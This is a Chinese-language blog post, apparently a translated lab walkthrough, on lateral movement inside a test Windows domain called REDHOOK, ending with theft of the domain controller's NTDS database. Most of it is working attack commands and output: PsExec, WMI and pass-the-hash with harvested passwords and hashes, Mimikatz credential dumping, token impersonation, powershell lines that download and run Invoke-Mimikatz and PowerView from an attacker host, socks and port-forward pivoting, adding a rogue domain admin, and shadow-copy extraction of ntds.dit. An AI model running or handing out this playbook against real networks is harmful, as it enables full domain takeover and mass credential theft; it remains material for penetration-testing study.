Windows域横向渗透

拼搏现实的明天。 2024-04-07 10:49 177阅读 0赞

0x00 场景

本次目标是获取“ redhook.DA”域中帐户的一个可用凭据。从一个控制内网主机的权限开始,但尚未与目标域控制器处于同一子网中。如下图所示:

fa3ffd49a37ddd7e386626354baa46c5.png
此外,假设攻击者获取了client 1主机中的本地管理员缓存认证凭据。通常,如果网络范围足够大,将通过批处理,vbs,.NET,ps1等脚本在网络共享上找到相应的存储的有效凭据。以获得初始访问权限。在这篇文章中,本次攻击者为在kali主机上,重点讲述在Windows上横向移动的方法以及不包括绕过AV的情况。

0x00 攻击clicent1主机

1.批处理脚本获取

如上所述。通过网络共享上的批处理及脚本获取了clent1(10.0.0.129)主机的用户认证凭据:

  1. # Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat
  2. @echo off
  3. net use "\\10.0.0.129\C$" /user:bob ImSoSecur3! #建立共享
  4. if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
  5. echo "Sigh, more errors on Client1! Copying.."
  6. copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
  7. del "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
  8. ) else (
  9. echo "Yaay, no new errors on Client1!"
  10. )
  11. net use "\\10.0.0.129\C$" /delete

通过批处理脚本快速获取指定的IP的一些NetBIOS信息:

  1. nbtscan -vh 10.0.0.129
  2. or
  3. nbtstat -A 10.0.0.129

4d617798d7eb859c89a72617373bc11a.jpeg

也可以使用命令nbtstat -A IP 执行相同的操作。可获取到主机名WIN7-ENT-CLI1,并且已连接到REDHOOK域

2.PsExec
使用metasploit的PsExec,在kali上可以轻松获取client 1主机的反弹shell。注意,bob是本地帐户并不是域账户。因此,没有使用SMBDomain参数。

  1. msf>use exploit/winodws/smb/psexec
  2. msf>set rhost 10.0.0.129
  3. msf>set smbuser bob
  4. msf>set smbpass ImSoSecur3!
  5. msf>show options
  6. msf>exploit

e28bec6bac2414a8ff97e2cece5ee906.png

这里也可以使用Impacket包中的PsExec,它使用RemComSvc模拟PsExec。这里的好处是,如果没有获取到明文凭证,它可接受哈希传递。

  1. python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd

41d00fd61eb09af19dc49c866e276245.png

windows下的PsExec.exe也可以横向移动,它具有签名可执行文件的好处。在此命令中添加“ -s”标识将获取SYSTEM Shell。

  1. Psexec.exe \\10.0.0.129 -u bob -p ImSoSecur3! cmd

7dceb3b77daad2f5e274ab5eccb32eb1.png

3.WMI
关于执行远程命令工具,这里最著名的是WMIC工具,不仅允许在远程主机上执行命令,而且还可以利用WMI来获取敏感信息并重新配置主机系统,该工具为windows 内置命令。

  1. wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! computersystem list brief /format:list #远程获取计算机信息
  2. wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! computersystem get username #远程获取目标用户账户信息权限
  3. wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! process call crate "calc.exe" #远程创建进程,这里是calc.exe
  4. wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem process get Name,ProcessId | findstr calc #远程获取进程ID,名称,并执行进程

}4e1b0346e8e2ece6dbe4f133ec08d27d.png

4.WmiExec

在Impacket包中可以使用WmiExec工具,执行命令并可以打印出命令输出,还可以提供半交互式shell也可以通过hash传递。

  1. python wmiexec.py bob:ImSoSecur3!@10.0.0.129 route print -4 10.*

0d71a80c1e67901530f96f6e13461873.png

PowerSploitz中的Invoke-WmiCommand,由于使用了PSCredential对象,会占用更多的内存,但可以获取命令打印输出和脚本的内存存储位置。

4f685471b6f2d9bce5253d0c90b190fa.png

5.Pass-The-Hash(WCE和Mimikatz)
有时,当获取目标主机命令窗口时,只能获取到目标主机用户的NTLM哈希值,而不能明文密码获取。如果在这种情况下,可以使用metasploit(psexec)或Impacket。如果环境局限于本地Windows环境,则可以使用WCE或Mimikatz将NTLM哈希注入到进程中。

  1. whoami
  2. net use \\10.0.0.129\ADMIN$ #无法获取目标共享,这里需要提供用户名和密码
  3. wce.exe -s bob::aad3b435b1404eeaad3b435b51404e:f6c0fa29f4cad745ad04bed1d00a7c82 #通过wce.exe远程hash传递
  4. net use \\10.0.0.129\ADMIN$
  5. dir \\10.0.0.129\ADMIN$

7a3237ee35b53c2e5bbfa9a6807de22e.png

缺点是WCE会显示错误报警信息!,可以使用powershell 将Mimikatz直接加载到内存中!但是,在这种情况下,最好使用已编译好的的二进制文件mimikatz.exe。

  1. net use \\10.0.0.129\$ADMIN
  2. miminatz.exe
  3. mimikatz#sekurlsa::pth /user:bob /domain:. /ntlm:f6c0fa29f4cad745ad04bed1d00a7c82 #mimikat中模块pth
  4. whoami
  5. net use \\10.0.0.129\$ADMIN

9977481462a1d4277195742fb53d707e.png

请注意,在这种情况下,域都设置为“.”。这是因为bob是本地帐户.

0x02 建立据点01

1.Metasploit(Mimikatz和hashdump)
使用Mimikatz获取活动会话的用户凭据,并使用hashdump为当前未登录的本地帐户获取哈希

  1. meterpreter>load mimikatz #加载mimikatz模块
  2. meterprter>tspkg #进行system权限提升
  3. meterprter>msvv #获取当前活动会话凭证
  4. meterprter>hashdump #获取本地主机账户的全部hash值

f2e93d2bf03422411c0774a4deb038b1.png

2.Secretsdump和Invoke-Mimikatz
也可以使用Impacket的SecretsDump和Powersploit的Invoke-Mimikatz。在这种情况下,Invoke-Mimikatz托管在攻击者的网络服务器上。

  1. python secretsdump.py bob:ImSoSecur3!@10.0.0.129
  2. python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd
  3. powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DowloadString("http://10.0.0.129/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
  4. mimiatz(powershell)#sekurlsa::logonpasswords

b9056b25ef3a82d3d85729054d1d44dc.png

当然,还有其他方法可以解决此问题,但认为这些可能是主要方法。

0x03 信息收集

现在可以访问REDHOOK域中的一台主机,该主机也连接到另一个子网。

1.令牌获取

现在我们有了redhook域里的一台机器并且能连接到不同的子网中,现在开始做一个信息收集。

要查询域的信息,需要有一个域用户,当前的bob用户并不是域用户或system权限,但是我们可以通过

NtQuerySystemInformation来发现其他用户的token,进而模拟他们登陆。

meterpreter有这个插件,使这个过程非常简单。

  1. meterprter>getuid
  2. meterpter>list_tokens -u
  3. meterprter>impersonate_token REDHOOK\\asenath.waite
  4. meterprter>shell
  5. whomai

2ecfff066ff3da31705056244b81f0cf.png

另外,可以使用Luke Jennings的incognito,该工具具有类似PsExec的功能,可以远程使用它。

  1. incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! list_tokens -u
  2. incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! execute -c REDHOOK\asenath.waite cmd.exe

ab48f7ed3d9bcb30264306f517c4df27.png

最后,还有PowerSploit的Invoke-TokenManipulation。但是,在当前状态下,不建议您使用它,因为无法真正获得所需的功能。

2.域信息收集现在,已获取目标域主机的一个Shell,需要进行一些信息收集,以最大获取战果。

  1. C:\Windows\System32> whoami redhook\asenath.waite
  2. C:\Windows\System32> hostnameWIN7-Ent-CLI1
  3. C:\Windows\System32> ipconfig
  4. Windows IP Configuration
  5. Ethernet adapter Local Area Connection 2:
  6. Connection-specific DNS Suffix . : localdomain Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17 IPv4 Address. . . . . . . . . . . : 10.0.0.129 # Attacker's subnet Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . :
  7. Ethernet adapter Bluetooth Network Connection:
  8. Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . :
  9. Ethernet adapter Local Area Connection:
  10. Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11 IPv4 Address. . . . . . . . . . . : 10.1.1.2 # REDHOOK subnet Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.1.1.1
  11. Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:
  12. Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . :
  13. Tunnel adapter isatap.localdomain:
  14. Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : localdomain
  15. Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:
  16. Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . :
  17. # A very small network, three hosts, including the one we have just compromised.C:\Windows\System32> net viewServer Name Remark
  18. -------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2
  19. The command completed successfully.
  20. # The DC the user is authenticated toC:\Windows\System32> echo %logonserver%\\REDRUM-DC
  21. C:\Windows\System32> ping -n 1 REDRUM-DC
  22. Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:Reply from 10.1.1.200: bytes=32 time<1ms TTL=128
  23. Ping statistics for 10.1.1.200: Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
  24. # List local usersC:\Windows\System32> net user
  25. User accounts for \\WIN7-ENT-CLI1
  26. -------------------------------------------------------------------------------Administrator bob GuestTemplateAdmin
  27. The command completed successfully.
  28. # List REDHOOK domain users
  29. C:\Windows\System32> net user /domain
  30. The request will be processed at a domain controller for domain RedHook.local.
  31. User accounts for \\Redrum-DC.RedHook.local
  32. -------------------------------------------------------------------------------Administrator asenath.waite Guestjohn.smith krbtgt redhook.DArobert.suydam wilbur.whateley
  33. The command completed successfully.
  34. # PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the network.
  35. C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin"
  36. Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Administrator # Be careful, Administrator is a domain userSID : S-1-5-21-129707511-1158432277-3818383092-500 in this case, not a local user!Disabled : FalseIsGroup : FalseIsDomain : TrueLastLogin : 28/01/2016 21:38:22
  37. Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Enterprise AdminsSID : S-1-5-21-129707511-1158432277-3818383092-519Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin :
  38. Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin :
  39. Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/AdministratorSID : S-1-5-21-280973330-564264495-219324212-500Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin :
  40. Server : WIN7-ENT-CLI1.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin :
  41. Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/bob # The local user bob is an admin on Client 1,SID : S-1-5-21-280973330-564264495-219324212-1002 we knew this already.Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin :
  42. Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/TemplateAdmin # Mmm!SID : S-1-5-21-280973330-564264495-219324212-1003Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin :
  43. Server : WIN7-ENT-CLI2.RedHook.localAccountName : WIN7-ENT-CLI2/AdministratorSID : S-1-5-21-1588183677-2924731702-2964281847-500Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin :
  44. Server : WIN7-ENT-CLI2.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin :
  45. Server : WIN7-ENT-CLI2.RedHook.localAccountName : WIN7-ENT-CLI2/TemplateAdmin # Mmm², very suspicious, the local userSID : S-1-5-21-1588183677-2924731702-2964281847-1004 TemplateAdmin is an admin on both "ClientDisabled : ERROR 1" and "Client 2"!IsGroup : FalseIsDomain : FalseLastLogin :
  46. # PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC.
  47. C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC"
  48. sesi10_cname sesi10_username sesi10_time sesi10_idle_time------------ --------------- ----------- ----------------\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$ 10 10\\10.1.1.2 asenath.waite 0 0
  49. # Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to the box and that the connection is originating from the DC!
  50. C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2"
  51. sesi10_cname sesi10_username sesi10_time sesi10_idle_time------------ --------------- ----------- ----------------\\10.1.1.200 Administrator 1721 124\\10.1.1.2 asenath.waite 0 0
  52. # Let's get some more info about that account. Again, this is listing information about REDHOOK\Administrator not the local administrator.
  53. C:\Windows\System32> net user Administrator /domain
  54. The request will be processed at a domain controller for domain RedHook.local.
  55. User name AdministratorFull NameComment Built-in account for administering the computer/domainUser's commentCountry code 000 (System Default)Account active YesAccount expires Never
  56. Password last set 25/01/2016 21:15:11Password expires NeverPassword changeable 26/01/2016 21:15:11Password required YesUser may change password Yes
  57. Workstations allowed AllLogon scriptUser profileHome directoryLast logon 28/01/2016 21:38:22
  58. Logon hours allowed All
  59. Local Group Memberships *AdministratorsGlobal Group memberships *Domain Users *Domain Admins # Oops, he is a DA!The command completed successfully.
  60. # We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA.
  61. C:\Windows\System32> net user redhook.DA /domain
  62. The request will be processed at a domain controller for domain RedHook.local.
  63. User name redhook.DAFull Name redhook DACommentUser's commentCountry code 000 (System Default)Account active YesAccount expires Never
  64. Password last set 25/01/2016 21:27:37Password expires NeverPassword changeable 26/01/2016 21:27:37Password required YesUser may change password Yes
  65. Workstations allowed AllLogon scriptUser profileHome directoryLast logon 28/01/2016 21:18:56
  66. Logon hours allowed All
  67. Local Group MembershipsGlobal Group memberships *Enterprise Admins *Domain Admins # Our target on the other hand is the *Group Policy Creator *Schema Admins mother root of DA's hehe!The command completed successfully.

通过简单的信息收集,我们能了解到让我们自己成为域管理员的途径。

  1. 本地用户TemplateAdmin 是client1和client2的管理员
  2. 尽管没有获取到TemplateAdmin明文,但是获取到TemplateAdmi的hash,可用来访问client2
  3. REDHOOK\ Administrator帐户已通过client2身份验证,如果在其登录时获取了权限,可以获取其明文凭据,即可获得域控权限。

3.Socks代理

最后一件事就是通过metasploit添加路由,让我们通过sokcks代理访问目标系统,如果使用msf或cobalt strike那么就非常简单。

  1. meterprter>run autoroute -h
  2. meterprter>run autoroute -s 10.1.1.0/24
  3. meterprter>run autoroute -p
  4. meterprter>esc
  5. msf>use auxiliay/server/socks4a
  6. msf>show options
  7. msf>exploit

231b6c5fadebfba12b53bafef9204dc5.png

使用session1路由, 通过socks4a来进行进一步的扫描

  1. msf>use auxiliary/scanner/smb/smb_version
  2. msf>set rhosts 10.1.1.0/24
  3. msf>set threads 20
  4. msf>show options
  5. msf>exploit

de8a9d271164976c8e29556bc6679f5c.png

此外,通过proxychains启动socks代理加载nmap进行远程目标网络扫描,

  1. proxychains nmap -sTV -p 53,445 -Pn 10.1.1.200

09a9bddac394c917ffadcd8c3af9f4c0.png

在这种情况下,socks代理将仅接受TCP通信。仍然可以执行大多数操作,但要注意这一限制。
使用本机功能无法在Windows计算机上设置socks代理。但是,使用netsh可以创建端口转发.

0x04 攻击client2主机

在“client1”和“client2”之间共享的本地管理员帐户TemplateAdmin很好地表明它们具有相同的凭据。因此,与攻击“client2”与上面的场景没有太大区别,只是必须跳转shell,需要使用帐户哈希而不是明文密码。下面我将展示两种方法来实现这一点,但其他选择肯定是可能的。1.Metasploit(PortProxy&PsExec)
即使可以通过metasploit中的路由到达“clicent2,也很难恢复连接。为了解决这个问题,可以使用portproxy模块在“clicent1”上创建端口转发规则。

  1. msf>use post/winodws/manage/portproxy
  2. msf>set connect_address 10.0.0.128
  3. msf>set ipv6_xp true
  4. msf>set local_address 10.1.1.2
  5. msf>set local_port 9988
  6. msf>set session 1
  7. msf>set type v4tov4
  8. msf>show options
  9. msf>exploit

6b6bd1490ecd743366fbc1bf6a2540e1.png

client1监听10.1.1.2:9988向10.0.0.128:9988发送流量。其实是在Windows中嵌套了netsh,下的就是稍微重新配置PsExec。

  1. msf>use exploit/winodws/smb/psexec
  2. msf>set rhost 10.01.1.3
  3. msf>set prot 445
  4. msf>set smbpass ImSoSecur3!
  5. msf>set share ADMIN$
  6. msf>exploit
  7. msf >use payload windows/meterprter/reverse_tcp
  8. msf>set lhost 10.1.1.2
  9. msf>set lport 9988
  10. msf>exploit
  11. meterpter>ipconfig

1b07f47bbf9f0803fbb38c1fdbf99f94.png

2.Impacket(PsExec)&netsh

在client1上使用netsh手动设置转发规则

  1. python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd
  2. netsh interface portproxy add v4tov4 listenaddress=10.0.0.129 listenport=5678 connectaddress=10.1.1.3 connectport=445
  3. netsh interface portproxy dump

955248233d781cbdc0ec177db3cc0a68.png

现在,我们已经建立了一条规则,该规则会将到达10.0.0.129:5678的流量转发到10.1.1.3:445。为此,Impacket的PsExec需要连接到自定义端口,不支持现成的端口,但是我们可以轻松地编辑python源。

现在有个规则是把流量从10.0.0.129:5678转发到10.1.1.3:445,Impacket的PsExec需要连接到自定义端口,不支持现有的端口,但是可以轻松地编辑python源。

b884da75d537135d8a7b0a7c171f1c6e.png

修改并保存后,可以简单地将PsExec更改为10.0.0.129,并将流量转发到10.1.1.3

  1. python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 TemplateAdmin@10.0.0.129 cmd
  2. ipconfig

04425eb43e645e3beb68c2bf5ddb202b.png

完成后,清理端口转发规则。以下命令将重置端口代理配置文件。

  1. C:\Windows\system32> netsh interface portproxy reset

纯Windows端口 下:
在这种情况下,最好的选择是使用pyinstaller修改和编译Impacket的PsExec,类似于maaaaz编译的(https://github.com/maaaaz/impacket-examples-windows)。

0x05 建立据点02

这可能与第一种情况类似,也可能不同,这取决于REDHOOK\Administrator对“clicent 2”进行身份验证的方式。例如,如果输入 了一个简单的“ net use \\10.1.1.3\C$“命令,那么无法获得明文凭证或哈希,但是输入命令“ net use \\10.1.1.3\C$ /user:REDHOOK\Administrator XXXXXXX“就可获取凭证。
即使我们无法获得明文凭证,仍然能找到以REDHOOK\Administrator身份运行的进程,并使用incognito来模拟其令牌。

1.Metasploit Easy-Mode (Mimikatz & hashdump & incognito)

  1. meterprter>load mimikatz
  2. meterprter>tspkg
  3. meterprter>msv
  4. meterprter>hashdump

033b0beec4d6c88feee88c2331b85e65.png

  1. meterprter>shell
  2. tasklist /v /fo csv | findstr REDHOOK\administrator
  3. meterprter>load incognito
  4. meterprter>impersonate token REDHOOK\\administrator
  5. meterprter>shell
  6. whoami
  7. net user b33f t0tallyL3gint! /add /domain
  8. net group "domain admins" b33f /add /domain

b45f909ea651318cc62a60d8570313d5.png

2 .Impacket (PsExec) & incognito

使用incognito来执行远程命令:

  1. python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 TemplateAdmin@10.0.0.129 cmd
  2. cd ..
  3. put /var/www/html/incognito.exe
  4. incognito list_tokens -u
  5. echo net user b33f_2_t0tallyL3git! /add /domain >runme.bat
  6. echo group "domain admins" b33f_2 /add /domain >>runme.bat
  7. incognito execute -c "REDHOOK\administator" "cmd.exe /c c:\windows\ruume.bat"

b256d5cbf53089a84cea9b3a31e1efca.png

运行命令后,shell被挂起。发现如果没有“-c”(交互模式)参数,shell不会挂起,但是命令也不会正确执行,如果不将命令分组到bat文件中,那么它只会在挂起之前执行第一个命令。需要说明的是,只有通过PsExec执行incognito时才会出现此问题。

虽然这是一个麻烦的解决方案,但是一旦重新登录到主机上,就可以看到批处理脚本正确运行。

  1. python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 TemplateAdmin@10.0.0.129 cmd
  2. cd ..
  3. del runme.bat
  4. del incoginto.exe
  5. net user b33f_2 /domain

012601bb58647fe7fd0008f65eee8f2c.png

3.文件传输显然,使用Impacket的PsExec中的“ put”命令对其有所帮助。通常,一个好的方法是将可能需要的所有文件下载到目标主机上,可以使用PowerShell的WebClient或bitsadmin之类的工具。

  1. # Create an unrestricted share.
  2. C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test
  3. C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt
  4. C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full
  5. SomeShare was shared successfully.
  6. C:\Users\asenath.waite> net share
  7. Share name Resource Remark
  8. -------------------------------------------------------------------------------
  9. C$ C:\ Default share
  10. IPC$ Remote IPC
  11. ADMIN$ C:\Windows Remote Admin
  12. SomeShare C:\Users\asenath.waite\Desktop\test
  13. The command completed successfully.
  14. # On the remote host simple mount the share.
  15. C:\Users\belial> net use \\10.0.0.129\SomeShare
  16. The command completed successfully.
  17. C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt
  18. Hello
  19. # Unmount.
  20. C:\Users\belial> net use \\10.0.0.129\SomeShare /delete
  21. \\10.0.0.129\SomeShare was deleted successfully.
  22. # Clean up the share.
  23. C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes
  24. Users have open files on SomeShare. Continuing the operation will force the files closed.
  25. SomeShare was deleted successfully.
  26. C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test

0x06 攻击Redrum-DC

至此,要么找到了REDHOOK\Administrator的认证登录凭据,要么创建自己的Doman Admins组的账号,这意味着攻击DC的过程将与用于攻击“clicent 2”的过程完全相同。

1.Socks Proxy & Impacket (WmiExec)

还记得之前用户socks代理么,可以使用它来访问域内几乎所有主机网络。

  1. proxychains python wmiexec.py REDHOOK/administrator:QazWsxEdc123!@10.1.1.200
  2. whoami
  3. ipconfig
  4. powshell -exec bypass -command 'Get-windowsFeature | findstr [x]"

1c07eb38fbbab59fb983720f2a1b5298.png

2.Sysinternals (PsExec) & Invoke-Mimikatz

获取初始目标REDHOOK\redhook.DA帐户的可用凭据。此示例使用Invoke-Mimikatz的功能将凭据转储到远程计算机上。从本质上讲,在clicent 1上以REDHOO\Administrator的权限获得一个反弹shell,然后在DC上启动Mimikatz。

  1. PsExec.exe \\10.0.0.129 -u REDHOOK\administrator -p QazWxEdc123! cmd
  2. whomai
  3. powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DowloadString(http://10.0.0.128/Invoke-Mimikatz.ps1');Invoke-Mimikatz -command ' privilege:debug sekurlsa::msv exit' -ComputerName 'Redrum-DC'"

55fe2fc595401425b46b37988f01413a.png

之所以仅在此处转储哈希值,是因为由于2k12 R2 / Windows 8.1+上增强的保护功能,无法为经过身份验证的用户获得明文凭证。但是,从输出中可以看到,已经成功获取了REDHOOK \ redhook.DA NTLM哈希值,该哈希可以以该用户身份向域中的其他计算机进行身份验证。

  1. python wmiexec.py -hashs 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDOOK/redhook.DA@10.0.0.129
  2. whoami

1dbc74951dde217fffe58f31aa94e2cf.png

请注意,只是对哈希的LM部分进行了空填充,实际上对放置的内容并不重要。

0x07 提取NTDS

很多时候提取了NTDS 说明渗透要结束了,强烈建议您在此处阅读Sean Metcalf的文章,其中展示了许多不同的技术,包括通过本地shell访问DC以及使用WMI进行远程访问,下面我介绍一下访问本地shell或通过wmi来执行命令的方法。

1.Volume Shadow Copy (Classic-Mode)

最基本的独立的方法是使用vssadmin

  1. C:\> whoami
  2. redhook\redhook.da
  3. # Get the path to NTDS, it may not be in the C drive.
  4. C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  6. System Schema Version REG_DWORD 0x45
  7. Root Domain REG_SZ DC=RedHook,DC=local
  8. Configuration NC REG_SZ CN=Configuration,DC=RedHook,DC=local
  9. Machine DN Name REG_SZ CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN=
  10. Configuration,DC=RedHook,DC=local
  11. DsaOptions REG_SZ 1
  12. IsClone REG_DWORD 0x0
  13. ServiceDll REG_EXPAND_SZ %systemroot%\system32\ntdsa.dll
  14. DSA Working Directory REG_SZ C:\Windows\NTDS
  15. DSA Database file REG_SZ C:\Windows\NTDS\ntds.dit
  16. Database backup path REG_SZ C:\Windows\NTDS\dsadata.bak
  17. Database log files path REG_SZ C:\Windows\NTDS
  18. Hierarchy Table Recalculation interval (minutes) REG_DWORD 0x2d0
  19. Database logging/recovery REG_SZ ON
  20. DS Drive Mappings REG_MULTI_SZ c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\
  21. DSA Database Epoch REG_DWORD 0x7983
  22. Strict Replication Consistency REG_DWORD 0x1
  23. Schema Version REG_DWORD 0x45
  24. ldapserverintegrity REG_DWORD 0x1
  25. Global Catalog Promotion Complete REG_DWORD 0x1
  26. DSA Previous Restore Count REG_DWORD 0x1
  27. # Create a shadow copy of C.
  28. C:\> vssadmin create shadow /for=c:
  29. vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
  30. (C) Copyright 2001-2013 Microsoft Corp.
  31. Successfully created shadow copy for 'c:\'
  32. Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda}
  33. Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
  34. # Copy out ntds and the system hive.
  35. C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
  36. 1 file(s) copied.
  37. C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
  38. 1 file(s) copied.

把文件拖到攻击者的机器里面有很多方法,执行此操作的多种方法,选择一个,可以简单的使用Impacket’s SecretsDump本地解压传输内容。

  1. python secretsdump.py -ntds /root/Desktop/ntds.dit -system /root/Desktop/system.hive local

117cd7e09b2f8505da571b7261c862d7.png

注意下NTDS可能会包含很多用户,甚至上千,是非常大的,导出的时候要小心。!

Invoke-NinjaCopy也可以使用类似的方法获取ntds,可以在Sean Metcalf的文章中看到一个示例。

2.Socks Proxy & Impacket (SecretsDump) (Easy-Mode)

如果我们有socks代理,则很容易的使用明文密码来执行SecretsDump

  1. proxychains python secretsdump.py -hashs 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDOOK/redhook.DA@10.1.1.200

a39671d1f9810ae4c0a8829dec8d6c0d.png

发表评论

表情:
评论列表 (有 0 条评论,177人围观)

还没有评论,来说两句吧...

相关阅读